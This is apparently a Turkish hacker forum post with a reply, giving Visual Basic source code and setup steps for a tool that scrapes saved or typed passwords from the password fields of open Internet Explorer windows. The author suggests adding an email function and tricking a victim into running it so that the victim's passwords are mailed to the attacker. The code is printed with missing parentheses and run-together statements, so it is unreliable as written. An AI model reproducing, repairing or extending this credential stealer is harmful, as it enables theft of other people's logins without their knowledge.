selam ben holocaustBu blümde sizlere internette dolanırken kullanıcı adı ve şifrenizle giriş yaptığınızsitelerin adlarını ve kullanıcı adınızı bide şifrenizi alamayı anlatacağımVisual basic derleyinicizi açın.. form üzerine form adı : frmmain 1 command buton : cmdPasswords 1 textbox : txtPasswords yerleştirin command butonun caption'ını İnternet Şifrelerini Gster Yapın Textbox un multiline zelliğini true, scrollbars zelliğinide both yapınardından formun general declaration una kodu yapıştırişte bukadar.. gerisi sizin yaratıcılığınıza kalmış.. ister programa mail gnderme fonk-siyonu koyup bi kurbana yutturursunuz şifreleri size mail olarak gelir.. ister unuttuğunuzşifrelerinizi geri hatırlamak için kullanırsınız.. Private strCurrTitleAs StringPrivate Function CanAccessDocumentObject As BooleanDim oDocumentAs ObjectOn Error GoTo err1:Set oDocument = Obj. documentSet oDocument = NothingCanAccessDocumentObject = TrueExit Functionerr1:CanAccessDocumentObject = FalseEnd FunctionPrivate Function IsPasswordBox As BooleanOn Error GoTo err1If LCase(objElement. getAttribute = "password" ThenIsPasswordBox = TrueElseIsPasswordBox = FalseEnd IfExit Functionerr1:IsPasswordBox = FalseEnd FunctionPrivate Function SearchPasswordsInDoc As BooleanDim objElement As ObjectDim lngLenAs LongDim lngIndexAs LongDim blnFoundAs BooleanlngLen = objDoc. All. lengthFor Each objElement In objDoc. AllDoEventsIf IsPasswordBox ThentxtPasswords. Text = txtPasswords. Text & "Window Title: " & strCurrTitle & vbCrLftxtPasswords. Text = txtPasswords. Text & "Password: " & objElement. getAttribute & vbCrLf & vbCrLfblnFound = TrueEnd IfNextlngLen = objDoc. frames. lengthFor lngIndex = 0 To lngLen - 1If CanAccessDocumentObject(objDoc. frames. Item ThenIf SearchPasswordsInDoc(objDoc. frames. Item . document) Then blnFound = TrueEnd IfNextSearchPasswordsInDoc = blnFoundEnd FunctionPrivate Sub ScanPasswords Dim objShellWinsAs New SHDocVw. ShellWindowsDim objExplorerAs SHDocVw. InternetExplorerDim objDocumentAs HTMLDocumentDim blnFoundAs BooleanDim blnResultAs BooleantxtPasswords = "Şifreler Alınıyor.. Bekleyin..." & vbCrLf & vbCrLfScreen. MousePointer = vbHourglassFor Each objExplorer In objShellWinsIf TypeOf objExplorer. document Is HTMLDocument ThenSet objDocument = objExplorer. documentstrCurrTitle = objDocument. TitleblnResult = SearchPasswordsInDoc If blnResult Then blnFound = TrueEnd IfNextIf Not blnFound ThentxtPasswords. Text = txtPasswords. Text & "Şifre Bulunamadı..." & vbCrLfElsetxtPasswords. Text = txtPasswords. Text & "Şifreler Alındı..." & vbCrLfEnd IfScreen. MousePointer = vbDefaultEnd SubPrivate Sub cmdPasswords_Click On Error GoTo err1ScanPasswordsExit Suberr1:Screen. MousePointer = vbDefaultMsgBox "Error " & CStr & ": " & Err. Description, vbOKOnly Or vbExclamation, ""End Sub Holocaust The Late Night Hacker

arkadaşım kusura bakma dalgınlığıma gelmiş yazmamışımhata vermesinin sebebi nesne kütüphanesinin loaded edilmemesidir..."Project" Menüsünden "References" e GirinEkrana Gelen Bileşen Listesinde+Microsoft HTML Object Library+Microsoft Internet ControlsBileşenlerini İşaretleyin. Herhangi Bir Sorunla KarşılaşırsanızHolocaust@w. cn adresine mail atın... Holocaust The Late Night Hacker